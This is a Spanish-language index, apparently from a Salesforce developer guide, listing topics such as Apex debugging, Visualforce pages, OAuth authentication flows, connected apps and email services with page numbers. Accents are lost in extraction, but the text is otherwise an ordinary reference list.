servicios de correo electrnico 98
CORS 126
creacin de una aplicacin conectada 136137
Cuadrcula Resultados de consulta 11

D
Dependencias
campo 122
Depuracin
de flujo de trabajo 213
filtrado 225
informacin de perfiles 213
nivel de registro 225
niveles de registro de clase y desencadenador 239
revisin de un proceso paso a paso 212
Depuracin de Apex 5, 216
Depuracin del cdigo 204
Desarrollo
seguridad 91

ndice

Desencadenadores
definicin 51
gestin 56
pgina de detalles 60
registros de depuracin 239
desinstalacin de una aplicacin conectada 157

E
Editor Consulta 11
ejecucin annima 6
Ejecucin de pruebas de Apex 242, 244247
ejecutar Apex 52
eliminacin de una aplicacin conectada 144
Escritura de cdigo 2
Estado de visualizacin 222
Etiquetas personalizadas
adicin de traducciones 114
descripcin general 111
modificacin 112
modificacin de traducciones 113
vista 114
Excepciones
no detectadas 73

F
Fichas
Visualforce 72
Filtrado de registros de depuracin 225
Frmulas
variables globales 19
Funcin URLFOR 78
Funciones
URLFOR 78

G
Gestin de excepciones no detectadas 73
gestin de una aplicacin conectada 147

H
Herramienta de migracin Force.com 123

I
IDE de Force.com 123
Identity
SCIM Y API de REST 127
Implementacin de cambios de cdigo 248
Inicio de sesin nico
flujo de afirmacin SAML 185
OAuth 185

Integracin
descarga de un certificado de autenticacin de cliente 122
descarga de un WSDL 122
S-Control 114115
Intervalos de direcciones IP con aplicaciones conectadas 144
Intervalos de direcciones IP de lista blanca en aplicaciones
conectadas 144

J
JavaScript 126

L
lnea de comandos 6
Llamadas
No es posible analizar la respuesta de la llamada, error 65

M
Mejora de Salesforce con programacin
Introduccin 1
Mensaje de error
notificaciones distribuidas 155
Modificacin de Apex 5
modificacin de una aplicacin conectada 144, 146, 148
Modo de desarrollo
activacin 69

N
notificaciones distribuidas
mensajes de error 155
pruebas 153154

O
OAuth
autenticacin 159
cdigos de error 164
extremos 160
flujo de afirmacin SAML 185
flujo de autenticacin 160, 172, 175, 180, 182
flujo de autenticacin de agente de usuario 182
Flujo de autenticacin de la versin 1.0.A 160
flujo de autenticacin de nombre de usuario-contrasea 180
Flujo de autenticacin del servidor Web 175
flujo de soporte SAML 165
flujo de token de actualizacin 172
flujo del token de soporte JWT 168
revocar tokens 188
terminologa 158
uso de token de id 190
uso de URL de identidad 191, 196, 199

ndice

OAuth (continuacin)
uso del token de acceso 190
Objeto InboundEmail 107
Objeto InboundEmail.BinaryAttachment 109
Objeto InboundEmail.Header 109
Objeto InboundEmail.TextAttachment 109
Objeto InboundEmailResult 110
Objeto InboundEnvelope 110

P
Pginas de Visualforce
campos de combinacin 71
paquete de una aplicacin conectada 144
Paquetes
Errores de Apex 54
Paquetes gestionados
sustitucin de etiquetas personalizadas 113
Perfiles
Visualforce 91
Permisos personalizados
acerca de 202
creacin 203
modificacin 203
permisos personalizados necesarios 204
Preguntas ms frecuentes
Apex 6566
clases y desencadenadores 66
llamada 65
servicio Web externo 65
Procesos de aprobacin
registros de depuracin 223
Programacin de Apex 64
Proteccin de su cdigo 84
Pruebas 58, 241
Pruebas de Apex 242, 244247
Pruebas de unidad 242, 244247

R
Recursos estticos
definicin 80
descripcin general 78
gestin 81
vista 81
registro 6, 238
registro de depuracin 6, 238
registro del sistema 6, 238
Registros de depuracin
clases y desencadenadores 239
filtros 225

Registros de depuracin (continuacin)


niveles 225
Reglas de asignacin
registros de depuracin 223
Reglas de distribucin
registros de depuracin 223
Reglas de flujo de trabajo
registros de depuracin 223
Reglas de respuesta automtica
registros de depuracin 223
Reglas de validacin
registros de depuracin 223
Restricciones de direcciones IP para aplicaciones conectadas 146,
148

S
S-Control
campos de combinacin 117
creacin 114115
definicin 114115
eliminacin 117
en comparacin con pginas de Visualforce 118
modificacin 115
tipos de campo de combinacin 19
variables globales 19
SAML
flujo de afirmacin SAML 185
OAuth 185
SCIM 127
Seguridad
cdigo 91
Visualforce 8990
Servicios de correo electrnico
direcciones de servicio de correo electrnico 99
modificacin 100
Objeto InboundEmail 107
Objeto InboundEmail.BinaryAttachment 109
Objeto InboundEmail.Header 109
Objeto InboundEmail.TextAttachment 109
Objeto InboundEmailResult 110
Objeto InboundEnvelope 110
SOQL 11
Supervisin
detalles de trabajo de carga masiva de datos 130
trabajos de carga masiva de datos 128
supervisin del uso de una aplicacin conectada 151

T
tokens, revocar 188

ndice

Trabajo con cdigo 12


trabajos de carga masiva de datos
control 128
visualizacin de detalles de trabajo 130
Trabajos por lotes 64
Transacciones, reproduccin 5, 216

U
URL de identidad 191, 196, 199
URL de inicio en aplicaciones conectadas 148
uso de API
detalles 135
notificaciones 134135

V
Valores de variables globales de accin 41
Variable global de recurso 78
Variables globales
$Resource 78
concepto 19
Valores vlidos de $Action 41
ventana de lnea de comandos 238
vista del Inspector de registros
rbol de rendimiento 211
pila 211
seguimiento regresivo 211
Vista del Inspector de registros
informacin de perfiles 213
pila 212
registro de ejecucin 212
seccin de origen 213
secciones 210

Vista del Inspector de registros (continuacin)


seguimiento regresivo 212
unidades ejecutadas 213
Visual Workflow
configuracin del comportamiento de finalizacin 83
Visualforce
activacin de chat 84
cdigo fuente 14
componentes personalizados 75
configuracin de versin 74
configuracin del navegador 75
conjuntos de permisos 90
creacin de pginas 67
depuracin 5, 216
desactivacin de chat 84
descripcin general 66
detalles de pgina 70
editor 1314
Estado de visualizacin 222
fichas de creacin 72
flujos incrustados 82
gestin de pginas 71
Herramientas 222
modo de desarrollo 69
perfiles 91
recursos estticos 78
seguridad 75, 8990
variables globales 19

W
WSDL
descarga 122

Potrebbero piacerti anche